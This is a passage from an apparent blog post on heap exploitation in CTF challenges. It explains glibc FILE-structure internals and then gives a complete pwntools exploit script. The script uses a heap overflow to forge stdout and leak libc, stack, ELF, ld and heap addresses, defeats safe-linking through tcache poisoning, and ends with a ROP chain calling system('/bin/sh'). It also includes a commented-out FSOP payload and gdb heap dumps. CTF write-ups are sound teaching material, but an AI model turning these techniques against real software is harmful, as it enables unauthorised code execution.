if (fp->_IO_buf_base == NULL) {
/* Maybe we already have a push back pointer. */
if (fp->_IO_save_base != NULL) {
free(fp->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_doallocbuf(fp);
fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end = fp->_IO_buf_base;
}
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end = fp->_IO_buf_base;

Again we don’t want to go inside this loop so _IO_buf_base can’t be null and then in last line we can see, more precious pointers will be clobbered, preciousssss my precioussss gollum gollum !!

if (fp->_wide_data->_IO_buf_base == NULL) {
/* Maybe we already have a push back pointer. */
if (fp->_wide_data->_IO_save_base != NULL) {
free(fp->_wide_data->_IO_save_base);
fp->_flags &= ~_IO_IN_BACKUP;
}
_IO_wdoallocbuf(fp);
}

And last condition, _wide_data->_IO_buf_base should be null but but but, _wide_data->_IO_save_base shouldn’t be null.

void _IO_wdoallocbuf(FILE* fp) {
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE(fp) != WEOF)
return;
_IO_wsetb(fp, fp->_wide_data->_shortbuf, fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def(_IO_wdoallocbuf)

And now _IO_wdoallocbuf will be called with no check on vtable. TODO image of _IO_wdoallocbuf and _IO_doallocbuf comparing vtable check. TODO: explain solve script.

Exploitation ontopic#

That was long offtopic but hey atleast we made it back. So we have stack leak, libc leak , unlimited length write at stdout, So we can overwrite and after that puts is called, so we can get shell according to my previous exploit. Well, there is another method of heap leak and then do tcache poisoning but that’s kinda boring. Pretty much done no ? But then I realized there’s no unlimited length heap overflow, read only takes 0xf0 bytes. So only 0x40 bytes left to write on stdout and I don’t think attack surface is big enough to get shell. So I went to again the boring way, do tcache poisoning and then rop as we already have stack leak. But somehow to my surprise this way kinda became wild, and the reason is heap leak.

Due to safe linking, tcache poisoning needs heap leak, and when I tried to leak via libc address(_environ) or elf address, It did not work. When I compared it with previous stack leak way in gdb, I found that execution takes different route when address is lower than a certain libc address. I digged the source code to find the reason and it’s this TODO libc source code

I used ld_address to leak the stack address and then simple tcache poisoning.

from pwn import *
elf = context.binary = ELF("./chall")
context.log_level = "Debug"
libc = ELF("./libc.so.6")
size = [0xD0, 0x100, 0x510, 0x520]
io = process()
def malloc(index, choice):
io.sendlineafter(b">", b"1")
io.sendlineafter(b"index:", str(index))
io.sendlineafter(b"choice:", str(choice))
def free(index):
io.sendlineafter(b">", b"2")
io.sendlineafter(b"index:", str(index))
def edit(index, data):
io.sendlineafter(b">", b"3")
io.sendlineafter(b"index:", str(index))
io.sendafter(b"Data:", data)
gs = """
"""
for i in range(0x10):
malloc(i, 0x1)
for i in [0, 2, 4, 6, 8, 10, 12]:
free(i)
for i in [1, 3, 5, 7, 9, 11, 14]:
free(i)
malloc(15, 0x2)
payload = b"A" * (0xD0 - 0x8) + pack(0x0) + pack(0x0) + p16(0x4500)
edit(13, payload)
payload = b"A" * (0xD0 - 0x8) + pack(0xD1)
edit(13, payload)
for i in [0, 2, 4, 6, 8, 10, 12]:
malloc(i, 0x1)
malloc(1, 0x1)
malloc(0x3, 0x1)
payload = pack(0x0) * 22 + pack(0xFBAD1887) + pack(0x0) * 0x3 + p8(0x0)
edit(0x3, payload)
io.recvn(0x1)
libc_leak = unpack(io.recvn(0x6), "all")
# print(hex(libc_leak))
# print(libc_leak)
print(hex(libc_leak))
libc_base = libc_leak - 0x204644
# ---------------------------------------------------------------- small bins ----------------------------------------------------------------
# [!] small_bins[idx=12, sz=0xd0] is corrupted
# small_bins[idx=12, size=0xd0, @0x7ffff7e03bf0]: fd=0x555555559df0, bk=0xe037e00000000000
# -> 0xe037e00000000000 [corrupted chunk]
# -> Chunk(base=0x7ffff7e04643 <_IO_2_1_stdout_+0x83>, addr=0x7ffff7e04653 <_IO_2_1_stdout_+0x93>, size=0xffffff00007ffff0, flags=PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA, fd=0x00ffffffffff, bk=0xe037e00000000000, corrupted)
# -> Chunk(base=0x7ffff7e045b0 <_IO_2_1_stderr_+0xd0>, addr=0x7ffff7e045c0 <_IO_2_1_stdout_>, size=0x7ffff7e02030, flags=, fd=0x0000fbad2887, bk=0x7ffff7e04643 <_IO_2_1_stdout_+0x83>, corrupted)
# -> Chunk(base=0x555555559df0, addr=0x555555559e00, size=0xd0, flags=PREV_INUSE, fd=0x000000000000, bk=0x7ffff7e045b0 <_IO_2_1_stderr_+0xd0>, corrupted)
# -> Chunk(base=0x555555559b80, addr=0x555555559b90, size=0xd0, flags=PREV_INUSE, fd=0x5555555599e0, bk=0x555555559df0)
# -> Chunk(base=0x5555555599e0, addr=0x5555555599f0, size=0xd0, flags=PREV_INUSE, fd=0x555555559840, bk=0x555555559b80)
# -> Chunk(base=0x555555559840, addr=0x555555559850, size=0xd0, flags=PREV_INUSE, fd=0x5555555596a0, bk=0x5555555599e0)
# -> Chunk(base=0x5555555596a0, addr=0x5555555596b0, size=0xd0, flags=PREV_INUSE, fd=0x555555559500, bk=0x555555559840)
# -> Chunk(base=0x555555559500, addr=0x555555559510, size=0xd0, flags=PREV_INUSE, fd=0x555555559360, bk=0x5555555596a0)
# -> Chunk(base=0x555555559360, addr=0x555555559370, size=0xd0, flags=PREV_INUSE, fd=0x7ffff7e03be0 <main_arena+0x120>, bk=0x555555559500)
# [+] Found 9 valid chunks in 1 small bins (when traced from `bk`)
# ---------------------------------------------------------------- large bins ----------------------------------------------------------------
# [+] Found 0 valid chunks in 0 large bins (when traced from `bk`)
log.critical(f"libc base:{hex(libc_base)}")
# tcachebins[idx=11, size=0xd0, @0x5555555590e8]: fd=0x555555559e00 count=6
# -> Chunk(base=0x555555559df0, addr=0x555555559e00, size=0xd0, flags=PREV_INUSE, fd=0x55500000cec9, bk=0x49247b63c2df2493, corrupted)
# -> Chunk(base=0x555555559b80, addr=0x555555559b90, size=0xd0, flags=PREV_INUSE, fd=0x55500000cca9(=0x5555555599f0))
# -> Chunk(base=0x5555555599e0, addr=0x5555555599f0, size=0xd0, flags=PREV_INUSE, fd=0x55500000cd09(=0x555555559850))
# -> Chunk(base=0x555555559840, addr=0x555555559850, size=0xd0, flags=PREV_INUSE, fd=0x55500000c3e9(=0x5555555596b0))
# -> Chunk(base=0x5555555596a0, addr=0x5555555596b0, size=0xd0, flags=PREV_INUSE, fd=0x55500000c049(=0x555555559510))
# -> Chunk(base=0x555555559500, addr=0x555555559510, size=0xd0, flags=PREV_INUSE, fd=0x000555555559(=0x000000000000))
# [+] Found 6 valid chunks in tcache
# stack leak
payload = (
pack(0x0) * 22
+ pack(0xFBAD1887)
+ pack(0x0) * 0x3
+ pack(libc_base + 0x20AD58)
+ pack(libc_base + 0x20AD58 + 0x8)
)
edit(0x3, payload)
io.recvn(0x1)
stack_leak = unpack(io.recvn(0x6), "all")
log.critical(f"stack leak :{hex(stack_leak)}")
payload = (
pack(0x0) * 22
+ pack(0xFBAD1887)
+ pack(0x0) * 0x3
+ pack(stack_leak - 0x160)
+ pack(stack_leak - 0x160 + 0x8)
)
edit(0x3, payload)
io.recvn(0x1)
elf_leak = unpack(io.recvn(0x6), "all")
elf_base = elf_leak - 0x17BE - 0xF
log.critical(f"elf base:{hex(elf_base)}")
payload = (
pack(0x0) * 22
+ pack(0xFBAD1887)
+ pack(0x0) * 0x3
+ pack(libc_base + 0x2046B8)
+ pack(libc_base + 0x2046B8 + 0x8)
)
edit(0x3, payload)
io.recvn(0x1)
ld_leak = unpack(io.recvn(0x6), "all")
ld_base = ld_leak - 0x38000
print(hex(ld_leak))
payload = (
pack(0x0) * 22
+ pack(0xFBAD1887)
+ pack(0x0) * 0x3
+ pack(ld_base + 0x39298)
+ pack(ld_base + 0x39298 + 0x8)
)
edit(0x3, payload)
io.recvn(0x1)
heap_leak = unpack(io.recvn(0x6), "all")
heap_base = heap_leak
print(hex(heap_base))
# gdb.attach(io)
payload = (
b"A" * (0xD0 - 0x8)
+ pack(0x0)
+ pack(((heap_base + 0xC60) >> 12) ^ (stack_leak - 0x160 - 0x18))
)
edit(13, payload)
malloc(14, 0x1)
malloc(0x0, 0x1)
pop_rdi = libc_base + 0x000000000010F75B
system = libc_base + 0x58740
bin_sh = libc_base + 0x1CB42F
ret = libc_base + 0x00000000000C75E9
payload = b"A" * 0x18 + pack(pop_rdi) + pack(bin_sh) + pack(ret) + pack(system)
gdb.attach(io)
edit(0x0, payload)
# heap overflow ->tcache poisoning
# why not use house of apple 3?
# payload = pack(0x0) * 22
# gadget = libc_base + 0x1750C7
# payload += pack(0xDEADBEEF)
# # payload += pack(0x0) # 0x0
# payload += pack(libc_base + 0x58740 + 0x8) # 8
# payload += pack(libc_base + 0x58740) # 10
# payload += pack(libc_base + 0x58740) # 18
# payload += pack(0x0) # 20
# payload += pack(0x0) # 28
# payload += pack(0x0) # 30
# payload += pack(libc_base + 0x2045C0) # 38#stdout
# payload += pack(0x0) # 40
# payload += p8(0x0) * 0x10
# payload += b"/bin/sh\x00"
# payload += pack(0x0)
# payload += pack(gadget)
# payload += p8(0x0) * 0x18
# payload += pack(libc_base + 0x204588) # lock stderr+0xa8
# payload += pack(0x0) * 0x2
# payload += pack(libc_base + 0x204500) # widedata stderr+0x20
# payload += p8(0x0) * (0xD8 - 0xA0 - 0x8)
# payload += pack(libc_base + 0x202210)
# heap leak
io.interactive()
State of heap exploitation in CTFs(ONGOING)-Part 1
https://epsilons1na.github.io/posts/state_of_heap_exploitation_in_ctf/
Author
Epsilon
Published at
2026-07-29
License
CC BY-NC-SA 4.0